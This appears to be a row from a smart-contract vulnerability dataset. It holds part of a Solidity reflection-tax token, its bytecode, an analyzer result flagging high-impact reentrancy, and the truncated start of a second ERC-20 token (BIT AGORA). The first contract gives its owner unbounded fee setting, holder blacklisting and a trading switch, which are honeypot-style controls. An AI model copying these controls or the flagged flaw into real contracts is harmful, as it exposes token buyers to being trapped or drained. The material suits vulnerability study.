uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x5C251f89D92d4aF83Ee4ad82389123e022F2D51f);
address payable private _marketingAddress = payable(0x5C251f89D92d4aF83Ee4ad82389123e022F2D51f);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = true;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 200 * 10**9; //2%
uint256 public _maxWalletSize = 200 * 10**9; //2%
uint256 public _swapTokensAtAmount = 40 * 10**9; //.4%
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set MAx transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
} | 0x6080604052600436106101c55760003560e01c806374010ece116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610519578063dd62ed3e14610539578063ea1644d51461057f578063f2fde38b1461059f57600080fd5b8063a2a957bb14610494578063a9059cbb146104b4578063bfd79284146104d4578063c3c8cd801461050457600080fd5b80638f70ccf7116100d15780638f70ccf71461040f5780638f9a55c01461042f57806395d89b411461044557806398a5c3151461047457600080fd5b806374010ece146103bb5780637d1db4a5146103db5780638da5cb5b146103f157600080fd5b8063313ce567116101645780636d8aa8f81161013e5780636d8aa8f8146103515780636fc3eaec1461037157806370a0823114610386578063715018a6146103a657600080fd5b8063313ce567146102f557806349bd5a5e146103115780636b9990531461033157600080fd5b80631694505e116101a05780631694505e1461026457806318160ddd1461029c57806323b872dd146102bf5780632fd689e3146102df57600080fd5b8062b8cf2a146101d157806306fdde03146101f3578063095ea7b31461023457600080fd5b366101cc57005b600080fd5b3480156101dd57600080fd5b506101f16101ec36600461195b565b6105bf565b005b3480156101ff57600080fd5b50604080518082019091526006815265436c6971756560d01b60208201525b60405161022b9190611a20565b60405180910390f35b34801561024057600080fd5b5061025461024f366004611a75565b61065e565b604051901515815260200161022b565b34801561027057600080fd5b50601454610284906001600160a01b031681565b6040516001600160a01b03909116815260200161022b565b3480156102a857600080fd5b506509184e72a0005b60405190815260200161022b565b3480156102cb57600080fd5b506102546102da366004611aa1565b610675565b3480156102eb57600080fd5b506102b160185481565b34801561030157600080fd5b506040516009815260200161022b565b34801561031d57600080fd5b50601554610284906001600160a01b031681565b34801561033d57600080fd5b506101f161034c366004611ae2565b6106de565b34801561035d57600080fd5b506101f161036c366004611b0f565b610729565b34801561037d57600080fd5b506101f1610771565b34801561039257600080fd5b506102b16103a1366004611ae2565b6107bc565b3480156103b257600080fd5b506101f16107de565b3480156103c757600080fd5b506101f16103d6366004611b2a565b610852565b3480156103e757600080fd5b506102b160165481565b3480156103fd57600080fd5b506000546001600160a01b0316610284565b34801561041b57600080fd5b506101f161042a366004611b0f565b610881565b34801561043b57600080fd5b506102b160175481565b34801561045157600080fd5b50604080518082019091526006815265434c4951554560d01b602082015261021e565b34801561048057600080fd5b506101f161048f366004611b2a565b6108c9565b3480156104a057600080fd5b506101f16104af366004611b43565b6108f8565b3480156104c057600080fd5b506102546104cf366004611a75565b610936565b3480156104e057600080fd5b506102546104ef366004611ae2565b60106020526000908152604090205460ff1681565b34801561051057600080fd5b506101f1610943565b34801561052557600080fd5b506101f1610534366004611b75565b610997565b34801561054557600080fd5b506102b1610554366004611bf9565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561058b57600080fd5b506101f161059a366004611b2a565b610a38565b3480156105ab57600080fd5b506101f16105ba366004611ae2565b610a67565b6000546001600160a01b031633146105f25760405162461bcd60e51b81526004016105e990611c32565b60405180910390fd5b60005b815181101561065a5760016010600084848151811061061657610616611c67565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061065281611c93565b9150506105f5565b5050565b600061066b338484610b51565b5060015b92915050565b6000610682848484610c75565b6106d484336106cf85604051806060016040528060288152602001611dad602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111b1565b610b51565b5060019392505050565b6000546001600160a01b031633146107085760405162461bcd60e51b81526004016105e990611c32565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107535760405162461bcd60e51b81526004016105e990611c32565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107a657506013546001600160a01b0316336001600160a01b0316145b6107af57600080fd5b476107b9816111eb565b50565b6001600160a01b03811660009081526002602052604081205461066f90611270565b6000546001600160a01b031633146108085760405162461bcd60e51b81526004016105e990611c32565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461087c5760405162461bcd60e51b81526004016105e990611c32565b601655565b6000546001600160a01b031633146108ab5760405162461bcd60e51b81526004016105e990611c32565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146108f35760405162461bcd60e51b81526004016105e990611c32565b601855565b6000546001600160a01b031633146109225760405162461bcd60e51b81526004016105e990611c32565b600893909355600a91909155600955600b55565b600061066b338484610c75565b6012546001600160a01b0316336001600160a01b0316148061097857506013546001600160a01b0316336001600160a01b0316145b61098157600080fd5b600061098c306107bc565b90506107b9816112f4565b6000546001600160a01b031633146109c15760405162461bcd60e51b81526004016105e990611c32565b60005b82811015610a325781600560008686858181106109e3576109e3611c67565b90506020020160208101906109f89190611ae2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a2a81611c93565b9150506109c4565b50505050565b6000546001600160a01b03163314610a625760405162461bcd60e51b81526004016105e990611c32565b601755565b6000546001600160a01b03163314610a915760405162461bcd60e51b81526004016105e990611c32565b6001600160a01b038116610af65760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016105e9565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bb35760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e9565b6001600160a01b038216610c145760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e9565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610cd95760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e9565b6001600160a01b038216610d3b5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e9565b60008111610d9d5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016105e9565b6000546001600160a01b03848116911614801590610dc957506000546001600160a01b03838116911614155b156110aa57601554600160a01b900460ff16610e62576000546001600160a01b03848116911614610e625760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c65640060648201526084016105e9565b601654811115610eb45760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d69740000000060448201526064016105e9565b6001600160a01b03831660009081526010602052604090205460ff16158015610ef657506001600160a01b03821660009081526010602052604090205460ff16155b610f4e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b60648201526084016105e9565b6015546001600160a01b03838116911614610fd35760175481610f70846107bc565b610f7a9190611cae565b10610fd35760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b60648201526084016105e9565b6000610fde306107bc565b601854601654919250821015908210610ff75760165491505b80801561100e5750601554600160a81b900460ff16155b801561102857506015546001600160a01b03868116911614155b801561103d5750601554600160b01b900460ff165b801561106257506001600160a01b03851660009081526005602052604090205460ff16155b801561108757506001600160a01b03841660009081526005602052604090205460ff16155b156110a757611095826112f4565b4780156110a5576110a5476111eb565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff16806110ec57506001600160a01b03831660009081526005602052604090205460ff165b8061111e57506015546001600160a01b0385811691161480159061111e57506015546001600160a01b03848116911614155b1561112b575060006111a5565b6015546001600160a01b03858116911614801561115657506014546001600160a01b03848116911614155b1561116857600854600c55600954600d555b6015546001600160a01b03848116911614801561119357506014546001600160a01b03858116911614155b156111a557600a54600c55600b54600d555b610a328484848461146e565b600081848411156111d55760405162461bcd60e51b81526004016105e99190611a20565b5060006111e28486611cc6565b95945050505050565b6012546001600160a01b03166108fc61120583600261149c565b6040518115909202916000818181858888f1935050505015801561122d573d6000803e3d6000fd5b506013546001600160a01b03166108fc61124883600261149c565b6040518115909202916000818181858888f1935050505015801561065a573d6000803e3d6000fd5b60006006548211156112d75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e9565b60006112e16114de565b90506112ed838261149c565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061133c5761133c611c67565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611395573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b99190611cdd565b816001815181106113cc576113cc611c67565b6001600160a01b0392831660209182029290920101526014546113f29130911684610b51565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611cfa565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147b5761147b611501565b61148684848461152f565b80610a3257610a32600e54600c55600f54600d55565b60006112ed83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611626565b60008060006114eb611654565b90925090506114fa828261149c565b9250505090565b600c541580156115115750600d54155b1561151857565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154187611690565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157390876116ed565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a2908661172f565b6001600160a01b0389166000908152600260205260409020556115c48161178e565b6115ce84836117d8565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161391815260200190565b60405180910390a3505050505050505050565b600081836116475760405162461bcd60e51b81526004016105e99190611a20565b5060006111e28486611d6b565b60065460009081906509184e72a00061166d828261149c565b821015611687575050600654926509184e72a00092509050565b90939092509050565b60008060008060008060008060006116ad8a600c54600d546117fc565b92509250925060006116bd6114de565b905060008060006116d08e878787611851565b919e509c509a509598509396509194505050505091939550919395565b60006112ed83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111b1565b60008061173c8385611cae565b9050838110156112ed5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e9565b60006117986114de565b905060006117a683836118a1565b306000908152600260205260409020549091506117c3908261172f565b30600090815260026020526040902055505050565b6006546117e590836116ed565b6006556007546117f5908261172f565b6007555050565b6000808080611816606461181089896118a1565b9061149c565b9050600061182960646118108a896118a1565b905060006118418261183b8b866116ed565b906116ed565b9992985090965090945050505050565b600080808061186088866118a1565b9050600061186e88876118a1565b9050600061187c88886118a1565b9050600061188e8261183b86866116ed565b939b939a50919850919650505050505050565b6000826118b05750600061066f565b60006118bc8385611d8d565b9050826118c98583611d6b565b146112ed5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016105e9565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107b957600080fd5b803561195681611936565b919050565b6000602080838503121561196e57600080fd5b823567ffffffffffffffff8082111561198657600080fd5b818501915085601f83011261199a57600080fd5b8135818111156119ac576119ac611920565b8060051b604051601f19603f830116810181811085821117156119d1576119d1611920565b6040529182528482019250838101850191888311156119ef57600080fd5b938501935b82851015611a1457611a058561194b565b845293850193928501926119f4565b98975050505050505050565b600060208083528351808285015260005b81811015611a4d57858101830151858201604001528201611a31565b81811115611a5f576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8857600080fd5b8235611a9381611936565b946020939093013593505050565b600080600060608486031215611ab657600080fd5b8335611ac181611936565b92506020840135611ad181611936565b929592945050506040919091013590565b600060208284031215611af457600080fd5b81356112ed81611936565b8035801515811461195657600080fd5b600060208284031215611b2157600080fd5b6112ed82611aff565b600060208284031215611b3c57600080fd5b5035919050565b60008060008060808587031215611b5957600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8a57600080fd5b833567ffffffffffffffff80821115611ba257600080fd5b818601915086601f830112611bb657600080fd5b813581811115611bc557600080fd5b8760208260051b8501011115611bda57600080fd5b602092830195509350611bf09186019050611aff565b90509250925092565b60008060408385031215611c0c57600080fd5b8235611c1781611936565b91506020830135611c2781611936565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611ca757611ca7611c7d565b5060010190565b60008219821115611cc157611cc1611c7d565b500190565b600082821015611cd857611cd8611c7d565b500390565b600060208284031215611cef57600080fd5b81516112ed81611936565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4a5784516001600160a01b031683529383019391830191600101611d25565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611da757611da7611c7d565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206907399c34c7dddd36e7e5be5035680c1decccf5d4c8e565a30401f70b71003e64736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,464 |
0xd7e11234aa8993897055600e605a45dc01b516ae | pragma solidity ^0.4.25;
/*
* Creator: BAA (BIT AGORA)
*/
/*
* Abstract Token Smart Contract
*
*/
/*
* Safe Math Smart Contract.
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/math/SafeMath.sol
*/
contract SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* ERC-20 standard token interface, as defined
* <a href="http://github.com/ethereum/EIPs/issues/20">here</a>.
*/
contract Token {
function totalSupply() public constant returns (uint256 supply);
function balanceOf(address _owner) public constant returns (uint256 balance);
function transfer(address _to, uint256 _value) public returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success);
function approve(address _spender, uint256 _value) public returns (bool success);
function allowance(address _owner, address _spender) public constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
/**
* Abstract Token Smart Contract that could be used as a base contract for
* ERC-20 token contracts.
*/
contract AbstractToken is Token, SafeMath {
/**
* Create new Abstract Token contract.
*/
constructor () public {
// Do nothing
}
/**
* Get number of tokens currently belonging to given owner.
*
* @param _owner address to get number of tokens currently belonging to the
* owner of
* @return number of tokens currently belonging to the owner of given address
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return accounts [_owner];
}
/**
* Transfer given number of tokens from message sender to given recipient.
*
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(_to != address(0));
if (accounts [msg.sender] < _value) return false;
if (_value > 0 && msg.sender != _to) {
accounts [msg.sender] = safeSub (accounts [msg.sender], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer (msg.sender, _to, _value);
return true;
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
* accounts [_to] + _value > accounts [_to] for overflow check
* which is already in safeMath
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(_to != address(0));
if (allowances [_from][msg.sender] < _value) return false;
if (accounts [_from] < _value) return false;
if (_value > 0 && _from != _to) {
allowances [_from][msg.sender] = safeSub (allowances [_from][msg.sender], _value);
accounts [_from] = safeSub (accounts [_from], _value);
accounts [_to] = safeAdd (accounts [_to], _value);
}
emit Transfer(_from, _to, _value);
return true;
}
/**
* Allow given spender to transfer given number of tokens from message sender.
* @param _spender address to allow the owner of to transfer tokens from message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public returns (bool success) {
allowances [msg.sender][_spender] = _value;
emit Approval (msg.sender, _spender, _value);
return true;
}
/**
* Tell how many tokens given spender is currently allowed to transfer from
* given owner.
*
* @param _owner address to get number of tokens allowed to be transferred
* from the owner of
* @param _spender address to get number of tokens allowed to be transferred
* by the owner of
* @return number of tokens given spender is currently allowed to transfer
* from given owner
*/
function allowance(address _owner, address _spender) public constant
returns (uint256 remaining) {
return allowances [_owner][_spender];
}
/**
* Mapping from addresses of token holders to the numbers of tokens belonging
* to these token holders.
*/
mapping (address => uint256) accounts;
/**
* Mapping from addresses of token holders to the mapping of addresses of
* spenders to the allowances set by these token holders to these spenders.
*/
mapping (address => mapping (address => uint256)) private allowances;
}
/**
* BIT AGORA smart contract.
*/
contract BAAToken is AbstractToken {
/**
* Maximum allowed number of tokens in circulation.
* tokenSupply = tokensIActuallyWant * (10 ^ decimals)
*/
uint256 constant MAX_TOKEN_COUNT = 100000000000 * (10**18);
/**
* Address of the owner of this smart contract.
*/
address private owner;
/**
* Frozen account list holder
*/
mapping (address => bool) private frozenAccount;
/**
* Current number of tokens in circulation.
*/
uint256 tokenCount = 0;
/**
* True if tokens transfers are currently frozen, false otherwise.
*/
bool frozen = false;
/**
* Create new token smart contract and make msg.sender the
* owner of this smart contract.
*/
constructor () public {
owner = msg.sender;
}
/**
* Get total number of tokens in circulation.
*
* @return total number of tokens in circulation
*/
function totalSupply() public constant returns (uint256 supply) {
return tokenCount;
}
string constant public name = "BIT AGORA";
string constant public symbol = "BAA";
uint8 constant public decimals = 18;
/**
* Transfer given number of tokens from message sender to given recipient.
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer to the owner of given address
* @return true if tokens were transferred successfully, false otherwise
*/
function transfer(address _to, uint256 _value) public returns (bool success) {
require(!frozenAccount[msg.sender]);
if (frozen) return false;
else return AbstractToken.transfer (_to, _value);
}
/**
* Transfer given number of tokens from given owner to given recipient.
*
* @param _from address to transfer tokens from the owner of
* @param _to address to transfer tokens to the owner of
* @param _value number of tokens to transfer from given owner to given
* recipient
* @return true if tokens were transferred successfully, false otherwise
*/
function transferFrom(address _from, address _to, uint256 _value) public
returns (bool success) {
require(!frozenAccount[_from]);
if (frozen) return false;
else return AbstractToken.transferFrom (_from, _to, _value);
}
/**
* Change how many tokens given spender is allowed to transfer from message
* spender. In order to prevent double spending of allowance,
* To change the approve amount you first have to reduce the addresses`
* allowance to zero by calling `approve(_spender, 0)` if it is not
* already 0 to mitigate the race condition described here:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender address to allow the owner of to transfer tokens from
* message sender
* @param _value number of tokens to allow to transfer
* @return true if token transfer was successfully approved, false otherwise
*/
function approve (address _spender, uint256 _value) public
returns (bool success) {
require(allowance (msg.sender, _spender) == 0 || _value == 0);
return AbstractToken.approve (_spender, _value);
}
/**
* Create _value new tokens and give new created tokens to msg.sender.
* May only be called by smart contract owner.
*
* @param _value number of tokens to create
* @return true if tokens were created successfully, false otherwise
*/
function createTokens(uint256 _value) public
returns (bool success) {
require (msg.sender == owner);
if (_value > 0) {
if (_value > safeSub (MAX_TOKEN_COUNT, tokenCount)) return false;
accounts [msg.sender] = safeAdd (accounts [msg.sender], _value);
tokenCount = safeAdd (tokenCount, _value);
// adding transfer event and _from address as null address
emit Transfer(0x0, msg.sender, _value);
return true;
}
return false;
}
/**
* Set new owner for the smart contract.
* May only be called by smart contract owner.
*
* @param _newOwner address of new owner of the smart contract
*/
function setOwner(address _newOwner) public {
require (msg.sender == owner);
owner = _newOwner;
}
/**
* Freeze ALL token transfers.
* May only be called by smart contract owner.
*/
function freezeTransfers () public {
require (msg.sender == owner);
if (!frozen) {
frozen = true;
